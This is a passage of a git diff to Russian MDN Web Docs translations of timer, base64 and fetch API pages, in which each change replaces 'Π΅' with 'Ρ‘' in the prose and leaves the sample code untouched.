-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π΄Π°ΠΆΠ΅ нСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ запись истории (для <code>http://example.com/example.html</code>) Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡ, связанного с Π½Π΅ΠΉ, событиС <code>popstate</code> всС Ρ€Π°Π²Π½ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠ΅ΠΌ эту запись послС Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π°Β <code>history.back()</code>.</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π΄Π°ΠΆΠ΅ нСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ запись истории (для <code>http://example.com/example.html</code>) Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡ, связанного с Π½Π΅ΠΉ, событиС <code>popstate</code> всС Ρ€Π°Π²Π½ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠ΅ΠΌ эту запись послС Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π°Β <code>history.back()</code>.</p>
<h2 id="Specification" name="Specification">БпСцификация</h2>
diff --git a/files/ru/web/api/windoworworkerglobalscope/atob/index.html b/files/ru/web/api/windoworworkerglobalscope/atob/index.html
index 28d58a52f1..b158668263 100644
--- a/files/ru/web/api/windoworworkerglobalscope/atob/index.html
+++ b/files/ru/web/api/windoworworkerglobalscope/atob/index.html
@@ -117,7 +117,7 @@ var decodedData = window.atob(encodedData); // Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΡƒΠ΅Ρ‚ строку
<p>[2] Начиная с <a href="/en-US/Firefox/Releases/27/Site_Compatibility">FirefoxΒ 27</a>, <code>atob()</code> ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΠ΅Ρ‚ всС символы ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ² Π² Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ послСдним  HTML5 спСцификациям (смотри {{bug(711180)}}).</p>
-<p>[3] <code>atob()</code> Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π²Β  миксинС {{domxref("WindowOrWorkerGlobalScope")}}.</p>
+<p>[3] <code>atob()</code> Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π²Β  миксинС {{domxref("WindowOrWorkerGlobalScope")}}.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈ_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/web/api/windoworworkerglobalscope/btoa/index.html b/files/ru/web/api/windoworworkerglobalscope/btoa/index.html
index fdb51cfb15..3ccd17db68 100644
--- a/files/ru/web/api/windoworworkerglobalscope/btoa/index.html
+++ b/files/ru/web/api/windoworworkerglobalscope/btoa/index.html
@@ -6,7 +6,7 @@ original_slug: Web/API/WindowBase64/btoa
---
<div>{{APIRef("HTML DOM")}}</div>
-<p>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ASCII строку Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ Π²Β base-64 ΠΈΠ·Β "строки" Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ….</p>
+<p>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ASCII строку Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ Π²Β base-64 ΠΈΠ·Β "строки" Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ….</p>
<p>Π‘ΡƒΠ΄ΡŒΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½Π΅ΠΉ этот способ Π½Π΅ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для <a href="http://www.unicode.org/standard/WhatIsUnicode.html">Unicode</a> строк! ОписаниС Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Unicode Π² сСкции Π½ΠΈΠΆΠ΅.</p>
diff --git a/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html b/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html
index 8d398013ce..aeedb7435c 100644
--- a/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html
+++ b/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html
@@ -17,14 +17,14 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout
<dl>
<dt><code><em>timeoutID</em></code></dt>
<dd></dd>
- <dd>Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Ρ‚Π°ΠΉΠΌΠ°ΡƒΡ‚Π°,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ. Π­Ρ‚ΠΎΡ‚Β ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Β Π±Ρ‹Π»Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Β ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΒ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ <code>setTimeout()</code>.</dd>
+ <dd>Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Ρ‚Π°ΠΉΠΌΠ°ΡƒΡ‚Π°,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ. Π­Ρ‚ΠΎΡ‚Β ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Β Π±Ρ‹Π»Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Β ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΒ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ <code>setTimeout()</code>.</dd>
</dl>
<p>It's worth noting that the pool of IDs used by {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} and {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} are shared, which means you can technically use <code>clearTimeout()</code> and {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} interchangeably. However, for clarity, you should avoid doing so.</p>
<h2 id="Example" name="Example">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ использования:</h2>
-<p>ЗапуститС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ скрипт Π² ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π΅ Π²Π΅Π±-страницы ΠΈ ΠΊΠ»ΠΈΠΊΠ½ΠΈΡ‚Π΅ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·.Β Π’Ρ‹Β ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅Β Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅Β ΡΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅Β Ρ‡Π΅Ρ€Π΅Π· 1 сСкунду.Β Π•ΡΠ»ΠΈΒ Π²Ρ‹Β Ρ‰Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅Β ΡΡ‚Ρ€Π°Π½ΠΈΡ†ΡƒΒ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΎΒ Ρ€Π°Π·Β Π·Π°Β ΠΎΠ΄Π½ΡƒΒ ΡΠ΅ΠΊΡƒΠ½Π΄Ρƒ,Β ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅Β ΠΏΠΎΡΠ²ΠΈΡ‚ΡΡΒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ ΠΎΠ΄ΠΈΠ½Β Ρ€Π°Π·.</p>
+<p>ЗапуститС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ скрипт Π² ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π΅ Π²Π΅Π±-страницы ΠΈ ΠΊΠ»ΠΈΠΊΠ½ΠΈΡ‚Π΅ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·.Β Π’Ρ‹Β ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅Β Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅Β ΡΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅Β Ρ‡Π΅Ρ€Π΅Π· 1 сСкунду.Β Π•ΡΠ»ΠΈΒ Π²Ρ‹Β Ρ‰Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅Β ΡΡ‚Ρ€Π°Π½ΠΈΡ†ΡƒΒ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΎΒ Ρ€Π°Π·Β Π·Π°Β ΠΎΠ΄Π½ΡƒΒ ΡΠ΅ΠΊΡƒΠ½Π΄Ρƒ,Β ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅Β ΠΏΠΎΡΠ²ΠΈΡ‚ΡΡΒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ ΠΎΠ΄ΠΈΠ½Β Ρ€Π°Π·.</p>
<pre class="brush: js notranslate">var alarm = {
Β  remind: function(aMessage) {
@@ -51,7 +51,7 @@ window.onclick = function() { alarm.setup(); };
<h2 id="Notes" name="Notes">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΡ</h2>
-<p>ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π½Π΅Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ IDΒ <code>clearTimeout()</code> Π½ΠΈ ΠΊ Ρ‡Π΅ΠΌΡƒ Π½Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚.Β Π˜ΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π½Π΅ создаСтся.</p>
+<p>ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π½Π΅Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ IDΒ <code>clearTimeout()</code> Π½ΠΈ ΠΊ Ρ‡Π΅ΠΌΡƒ Π½Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚.Β Π˜ΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π½Π΅ создаСтся.</p>
<h2 id="Specification" name="Specification">БпСцификация</h2>
diff --git a/files/ru/web/api/windoworworkerglobalscope/fetch/index.html b/files/ru/web/api/windoworworkerglobalscope/fetch/index.html
index d95c0b77ec..cffef51d3e 100644
--- a/files/ru/web/api/windoworworkerglobalscope/fetch/index.html
+++ b/files/ru/web/api/windoworworkerglobalscope/fetch/index.html
@@ -70,7 +70,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/fetch
<tbody>
<tr>
<td><code>AbortError</code></td>
- <td>Запрос Π±Ρ‹Π» ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½ (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref("AbortController.abort()")}}).</td>
+ <td>Запрос Π±Ρ‹Π» ΠΎΡ‚ΠΌΠ΅Π½Ρ‘Π½ (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref("AbortController.abort()")}}).</td>
</tr>
<tr>
<td><code>TypeError</code></td>
@@ -81,7 +81,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/fetch
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π’ нашСм <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-request">Fetch Request ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅</a>Β (см.Β <a href="https://mdn.github.io/fetch-examples/fetch-request/">Fetch Request live</a>) ΠΌΡ‹ создаСм Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("Request")}} (запроса),Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ€Π΅Π»Π΅Π²Π°Π½Ρ‚Π½Ρ‹ΠΉ конструктор, Π°Β Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Π΅Π³ΠΎ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌΒ <code>fetch()</code>. Π’Π°ΠΊ ΠΊΠ°ΠΊ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉ рСсурс -Β ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹Β ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ Π΅ΠΌΡƒ подходящий MIME Ρ‚ΠΈΠΏ ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒΒ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΌΡ‹ примСняСм ΠΊ ΠΎΡ‚Π²Π΅Ρ‚Ρƒ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("Body.blob()")}}, послС Ρ‡Π΅Π³ΠΎ создаСм для Π½Π΅Π³ΠΎ Object URL ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ Π΅Π΅ Π² элСмСнт {{htmlelement("img")}}.</p>
+<p>Π’ нашСм <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-request">Fetch Request ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅</a>Β (см.Β <a href="https://mdn.github.io/fetch-examples/fetch-request/">Fetch Request live</a>) ΠΌΡ‹ создаём Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("Request")}} (запроса),Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ€Π΅Π»Π΅Π²Π°Π½Ρ‚Π½Ρ‹ΠΉ конструктор, Π°Β Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Π΅Π³ΠΎ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌΒ <code>fetch()</code>. Π’Π°ΠΊ ΠΊΠ°ΠΊ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉ рСсурс -Β ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹Β ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ Π΅ΠΌΡƒ подходящий MIME Ρ‚ΠΈΠΏ ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒΒ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΌΡ‹ примСняСм ΠΊ ΠΎΡ‚Π²Π΅Ρ‚Ρƒ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("Body.blob()")}}, послС Ρ‡Π΅Π³ΠΎ создаём для Π½Π΅Π³ΠΎ Object URL ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ Π΅Ρ‘ Π² элСмСнт {{htmlelement("img")}}.</p>
<pre class="brush: js">var myImage = document.querySelector('img');
@@ -94,7 +94,7 @@ fetch(myRequest).then(function(response) {
myImage.src = objectURL;
});</pre>
-<p>Π’ нашСм <a href="https://github.com/mdn/fetch-examples/blob/master/fetch-with-init-then-request/index.html">Fetch with init then Request ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅</a>Β (см.Β <a href="https://mdn.github.io/fetch-examples/fetch-with-init-then-request/">Fetch Request init live</a>) ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ Ρ‚ΠΎΠΆΠ΅ самоС, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° для <code>fetch()</code>Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β init:</p>
+<p>Π’ нашСм <a href="https://github.com/mdn/fetch-examples/blob/master/fetch-with-init-then-request/index.html">Fetch with init then Request ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅</a>Β (см.Β <a href="https://mdn.github.io/fetch-examples/fetch-with-init-then-request/">Fetch Request init live</a>) ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ Ρ‚ΠΎΠΆΠ΅ самоС, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° для <code>fetch()</code>Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β init:</p>
<pre class="brush: js">var myImage = document.querySelector('img');
diff --git a/files/ru/web/api/windoworworkerglobalscope/index.html b/files/ru/web/api/windoworworkerglobalscope/index.html
index 8f38321cb1..0a7bacf45b 100644
--- a/files/ru/web/api/windoworworkerglobalscope/index.html
+++ b/files/ru/web/api/windoworworkerglobalscope/index.html
@@ -47,7 +47,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope
<dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt>
<dd>Π”Π΅ΠΊΠΎΠ΄ΠΈΡ€ΡƒΠ΅Ρ‚ строку Π΄Π°Π½Π½Ρ‹Ρ…, которая Π±Ρ‹Π»Π° Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Π° с использованиСм ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ base-64.</dd>
<dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ASCII строку Π² ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ΅ base-64 ΠΈΠ· строки Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ….</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ASCII строку Π² ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ΅ base-64 ΠΈΠ· строки Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ….</dd>
<dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt>
<dd>ΠžΡ‚ΠΌΠ΅Π½ΡΠ΅Ρ‚ Π½Π°Π±ΠΎΡ€ для ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ выполнСния, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd>
<dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt>
diff --git a/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html b/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html
index aa4ba76d3a..c77c422bf1 100644
--- a/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html
+++ b/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval
---
<div>{{APIRef("HTML DOM")}}</div>
-<p><span class="seoSummary">ΠœΠ΅Ρ‚ΠΎΠ΄Β <strong><code>setInterval()</code></strong>Β ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ для {{domxref("Window")}} ΠΈ {{domxref("Worker")}} интСрфСйсов. Он цикличСски Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΈΠ»ΠΈ участок ΠΊΠΎΠ΄Π° с фиксированной ΠΏΠ°ΡƒΠ·ΠΎΠΉ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ.</span>Β Π£Π½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ intervalID, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ, позволяСт впослСдствии ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½Ρ‹ΠΉ <span class="seoSummary"><strong><code>setInterval</code></strong></span>Β c ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}}. ΠœΠ΅Ρ‚ΠΎΠ΄ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ миксина {{domxref("WindowOrWorkerGlobalScope")}}.</p>
+<p><span class="seoSummary">ΠœΠ΅Ρ‚ΠΎΠ΄Β <strong><code>setInterval()</code></strong>Β ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ для {{domxref("Window")}} ΠΈ {{domxref("Worker")}} интСрфСйсов. Он цикличСски Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΈΠ»ΠΈ участок ΠΊΠΎΠ΄Π° с фиксированной ΠΏΠ°ΡƒΠ·ΠΎΠΉ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ.</span>Β Π£Π½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ intervalID, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ, позволяСт впослСдствии ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½Ρ‹ΠΉ <span class="seoSummary"><strong><code>setInterval</code></strong></span>Β c ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}}. ΠœΠ΅Ρ‚ΠΎΠ΄ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ миксина {{domxref("WindowOrWorkerGlobalScope")}}.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html b/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html
index 8c115986b0..cd1851db1e 100644
--- a/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html
+++ b/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html
@@ -31,7 +31,7 @@ original_slug: Web/API/WindowTimers/setTimeout
<h2 id="Example" name="Example">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½Π° Π²Π΅Π± страницС ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ Π΄Π²Π΅ простыС ΠΊΠ½ΠΎΠΏΠΊΠΈ, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΏΡ€ΠΈΠ²ΡΠ·Ρ‹Π²Π°ΡŽΡ‚ΡΡ дСйствия setTimeout ΠΈ clearTimeout. НаТатиС Π½Π° ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΊΠ½ΠΎΠΏΠΊΡƒ установит Ρ‚Π°ΠΉΠΌΠ°ΡƒΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ Ρ‡Π΅Ρ€Π΅Π· Π΄Π²Π΅ сСкунды. Π’Π°ΠΊΠΆΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ сохранСн id для clearTimeout. Π’Π°ΠΉΠΌΠ°ΡƒΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½ ΠΏΠΎ Π½Π°ΠΆΠ°Ρ‚ΠΈΡŽ Π½Π° Π²Ρ‚ΠΎΡ€ΡƒΡŽ ΠΊΠ½ΠΎΠΏΠΊΡƒ.</p>
